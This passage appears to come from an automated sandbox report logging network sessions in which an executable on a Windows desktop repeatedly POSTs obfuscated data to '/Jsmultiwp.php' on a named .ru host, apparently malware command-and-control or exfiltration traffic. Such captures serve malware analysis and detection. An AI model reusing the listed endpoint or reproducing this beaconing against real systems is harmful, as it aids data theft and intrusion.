Dec 10, 2024 19:01:22.073177099 CET	2528	OUT	Data Raw: 55 5c 5d 53 58 5a 55 56 5c 56 5b 59 50 5c 5a 5e 50 58 59 54 50 59 53 5f 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U\]SXZUV\V[YP\Z^PXYTPYS__X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#%<#"'0+$: Z?[$+(2;.7()]/'5!,;;$_" X('

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49787	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:22.336359978 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 1856 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:22.682344913 CET	1856	OUT	Data Raw: 50 5e 5d 5c 5d 56 50 54 5c 56 5b 59 50 5a 5a 5a 50 5e 59 5a 50 5d 53 59 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: P^]\]VPT\V[YPZZZP^YZP]SY_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ %>+;6$$)!Y <'$+'^%(!48Z8$"! ,+$_" X(
Dec 10, 2024 19:01:23.575210094 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:23.858675957 CET	963	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BvCT4Q1Qts4dHFvMhdkYxEQSt6RsMnqhtKFE4bfNYdiQF%2FhVONA5QWv8Ek8KIs2mw1Rlo04A4n7cHobAMfJQEzt%2FjdDdhYrZJsDvtA5BHOXSWRV4v8MxB%2F7lxjsVB5U95qB9NUECR%2FQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff23d16bb37c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4317&min_rtt=2266&rtt_var=4952&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2179&delivery_rate=78179&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 15 27 13 21 2b 2f 50 36 1c 29 11 2e 00 20 11 2e 38 23 5f 39 2b 2d 5d 21 17 39 07 39 3c 2a 5e 3f 28 33 59 32 0b 36 1d 30 08 29 52 29 24 28 51 06 1c 25 18 25 3a 36 50 3f 3f 31 13 33 5b 2f 00 3e 0e 29 17 2a 3e 33 57 23 3b 2b 07 32 13 01 1b 28 06 32 0b 26 2f 3e 18 3b 23 3a 00 26 3d 2a 51 00 16 21 54 28 31 30 1c 37 33 35 0b 21 21 3b 03 2b 35 09 5a 30 3e 28 1f 33 02 2e 5d 24 5a 24 00 30 2f 3e 0c 24 12 2c 06 23 2f 05 54 26 23 23 5d 2d 03 28 57 00 3f 5a 4f 0d 0a 30 0d 0a 0d 0a Data Ascii: 98'!+/P6). .8#_9+-]!99<^?(3Y260)R)$(Q%%:6P??13[/>)>3W#;+2(2&/>;#:&=*Q!T(10735!!;+5Z0>(3.]$Z$0/>$,#/T&##]-(W?ZO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49788	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:22.464415073 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:22.823143005 CET	2528	OUT	Data Raw: 55 5a 5d 53 58 5a 50 51 5c 56 5b 59 50 5a 5a 5d 50 54 59 5f 50 5f 53 5a 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UZ]SXZPQ\V[YPZZ]PTY_P_SZ_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ '3(+#7,=:4Z+0;;_%+-7+1;,!7,+$_" X(
Dec 10, 2024 19:01:23.682907104 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:23.947881937 CET	808	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lp3XQ5Bh8cwH5vl8Z9lMf4%2BSPzqEcDW8BuMnbMm5EGkI9JjSstuOjN6ncLav3oZzKg%2B4fl1mdiQB8QnWV5LsPCSrYtoZMMqEXNJkcB42dBfqhmVy84nmui2mbhOp0jkvkaME13l08ag%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff23d1fc1543e2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5904&min_rtt=2397&rtt_var=7914&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=47934&cwnd=211&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49795	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:24.200223923 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:01:24.557322025 CET	2528	OUT	Data Raw: 50 58 5d 5a 5d 5d 50 51 5c 56 5b 59 50 55 5a 5b 50 5b 59 55 50 5c 53 58 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: PX]Z]]PQ\V[YPUZ[P[YUP\SX_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#22=<67 @+4!"<#'((%= .8/5;W/+$_" X(
Dec 10, 2024 19:01:25.318315029 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:26.481996059 CET	813	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AviJREK8XmZK2%2FYE0bCxvyPpym%2B1G1TpNg%2Bn13N5q%2BZhEbgWXPv8OlezWoLoVKDGQnbKZUYhMW6q91QYqiowmA0cd83jrcYBo6bYoJnEszdZekPfcnWeBLgF4Y4xWeiIe4GEMuIrqE0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff23dc39af7cee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6450&min_rtt=5338&rtt_var=4226&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=102542&cwnd=167&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49801	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:26.997775078 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:27.354258060 CET	2528	OUT	Data Raw: 50 5e 58 5d 5d 58 55 57 5c 56 5b 59 50 5e 5a 5e 50 5c 59 5b 50 5c 53 58 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: P^X]]XUW\V[YP^Z^P\Y[P\SX_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#'#%+?;!'D*-X /<%; %.#^>8?( 1?8;$_" X(/
Dec 10, 2024 19:01:28.100399971 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:28.634238005 CET	809	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BPlxZOy8jGPD9bzDuveAru9JnLseX2X7%2F4IrT2E%2BwHhRoBEBWF6A3VAEbuUbyQL0u9BSVuW3gJjhGnpUAdMK77%2B%2BRkMZ3B%2FpdQ0ISzaYNXaw7L9TQJgm3eRt6gJ5U3nLwoEpb18Iv2s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff23edaf2a7d1a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4876&min_rtt=2017&rtt_var=6475&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=58651&cwnd=178&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a Data Ascii: 41]^V
Dec 10, 2024 19:01:28.837521076 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49807	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:28.994168043 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 1856 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:29.338592052 CET	1856	OUT	Data Raw: 55 58 5d 52 5d 58 55 52 5c 56 5b 59 50 5e 5a 51 50 5c 59 59 50 54 53 58 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UX]R]XUR\V[YP^ZQP\YYPTSX_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ %\+<'!E=$ +%('1+6 6;'\ !4.;$_" X(/
Dec 10, 2024 19:01:30.158514023 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:30.618865013 CET	962	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NwNp835BowtvSRYjdXLSJmcSMdPt2iAZij5xYXgw6dv79S2HUTJLt7rCAzHwy6H6ng6Xk4vFchQGSKCu4qt8ifUra7DvsyGvkx4n%2B82vzmhQjT0XVHNrC1JNQrNNKw8%2BZ%2FpBpQcI4fg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff23fa8c1a0f79-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=31405&min_rtt=29531&rtt_var=14822&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2179&delivery_rate=32790&cwnd=240&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 15 27 58 20 15 2c 09 22 0b 3a 02 2e 39 0a 59 2d 3b 20 07 2e 28 29 59 22 00 2e 5b 2d 2c 3a 1d 3c 15 0d 5b 26 32 2d 02 24 26 32 09 3e 1e 28 51 06 1c 26 05 33 3a 03 08 28 11 2e 03 30 2e 30 12 3e 19 36 05 2a 07 30 0e 23 3b 3f 04 25 2e 3c 09 28 2f 31 1c 24 05 22 1a 2f 0d 0f 5f 31 17 2a 51 00 16 21 53 3f 31 34 5a 23 30 35 0f 36 0b 38 5b 2b 1c 28 01 24 5b 34 51 33 2c 2a 1e 27 12 2f 5c 27 2f 2e 0c 30 2c 09 5d 22 2f 28 0c 27 33 23 5d 2d 03 28 57 00 3f 5a 4f 0d 0a 30 0d 0a 0d 0a Data Ascii: 98'X ,":.9Y-; .()Y".[-,:<[&2-$&2>(Q&3:(.0.0>60#;?%.<(/1$"/_1Q!S?14Z#0568[+($[4Q3,*'/\'/.0,]"/('3#]-(W?ZO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49808	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:29.082386017 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:29.432349920 CET	2528	OUT	Data Raw: 55 55 58 59 58 5c 55 5d 5c 56 5b 59 50 5f 5a 5d 50 55 59 58 50 5a 53 5b 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UUXYX\U]\V[YP_Z]PUYXPZS[_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#%2??+!Q/+$%[#<<08#X285V7-;/Z61?,$_" X(+
Dec 10, 2024 19:01:30.535096884 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:31.280976057 CET	817	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pGCQZSB0Gs7PzHIHK5oYXZbqSf63kJ8%2Fuwt%2FjtdVGAFNz1LsQz52NWtKvoXEJZQskRhm2w9%2FJFQyKepjXTL%2Fy2Ne4pYdIZQfrrqk54wMiltiVyVBunnO5Ja3vrOxr%2BIT3cXGCFEgETw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff23fc5ed4687f-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=173018&min_rtt=167872&rtt_var=73244&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=6984&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49814	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:31.523819923 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:01:31.869877100 CET	2528	OUT	Data Raw: 55 5d 5d 5d 5d 5f 55 5d 5c 56 5b 59 50 58 5a 51 50 58 59 59 50 55 53 5d 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U]]]]_U]\V[YPXZQPXYYPUS]_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#\&5?,Z!4$== ;';4&;T %Z,<4617W,$_" X(7
Dec 10, 2024 19:01:32.622791052 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:32.899410963 CET	810	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xSy59JbJnUe9xy%2BXoWk%2FUjXWGOqqcuScAXXjWMZtXM5Ivd2dmRP8IyfAoWxsAuvkWuw6bPInTw5%2FYenegcK7cSmM8Ch8BF0u5R281k3uStuQOQaPQPJYL6SrvAEZoDEbihg11Mx5hr8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff2409eee3335a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4219&min_rtt=2012&rtt_var=5170&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=74205&cwnd=231&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49820	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:33.149720907 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:33.494863033 CET	2528	OUT	Data Raw: 55 5d 5d 53 58 5d 50 50 5c 56 5b 59 50 59 5a 5b 50 58 59 54 50 5e 53 55 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U]]SX]PP\V[YPYZ[PXYTP^SU_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ %? [6'?)'9 ?''8;^1+ (Z8/58,$_" X(3
Dec 10, 2024 19:01:34.253037930 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:34.548012972 CET	804	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DvpxQWZeJWZeSafJPaX0STXNa4IoeyWT2shh0bamM2kfWml81j0RAfuGZPsOgkCIFae7eNeMefl8dQdapoQRuhO5vaKIKIcHPybPPri1oobv2fu8k14sEaJDiV3J2QxONjVS148jXzk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff241418cb7cf3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3642&min_rtt=1981&rtt_var=4065&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=95618&cwnd=217&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49826	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:34.796677113 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:35.151122093 CET	2528	OUT	Data Raw: 55 5a 58 5a 5d 56 55 50 5c 56 5b 59 50 5f 5a 5f 50 5e 59 5d 50 5b 53 5e 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UZXZ]VUP\V[YP_Z_P^Y]P[S^_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#13-Z<?8[6/*B1X </34&(!V"+5[,<6?S.+$_" X(+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49827	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:35.758555889 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 1836 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:36.104300022 CET	1836	OUT	Data Raw: 50 5f 5d 52 5d 5e 55 5d 5c 56 5b 59 50 5c 5a 5a 50 5e 59 5a 50 59 53 5e 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: P_]R]^U]\V[YP\ZZP^YZPYS^_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ 1>+<[!$0=B-[4+$#%8!U#5[/4 !,$_" X('
Dec 10, 2024 19:01:37.177076101 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:37.974970102 CET	970	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o3%2BLIXxnz3saZuhSulRDHsQp%2FdyEE%2BQNaCkJjAhSdBSoag2RnrOtP8iXH7ul4i6KwLnd1VPbTrERDj26k1EG85EuzQYWh%2B10kGUgPPqcWpFBrVv%2BCz%2BQ8O2ahJGwJ%2FtE6yVILghwUZY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff2425e88fd76c-NRT alt-svc: h3=":443"; ma=86400 server-timing: 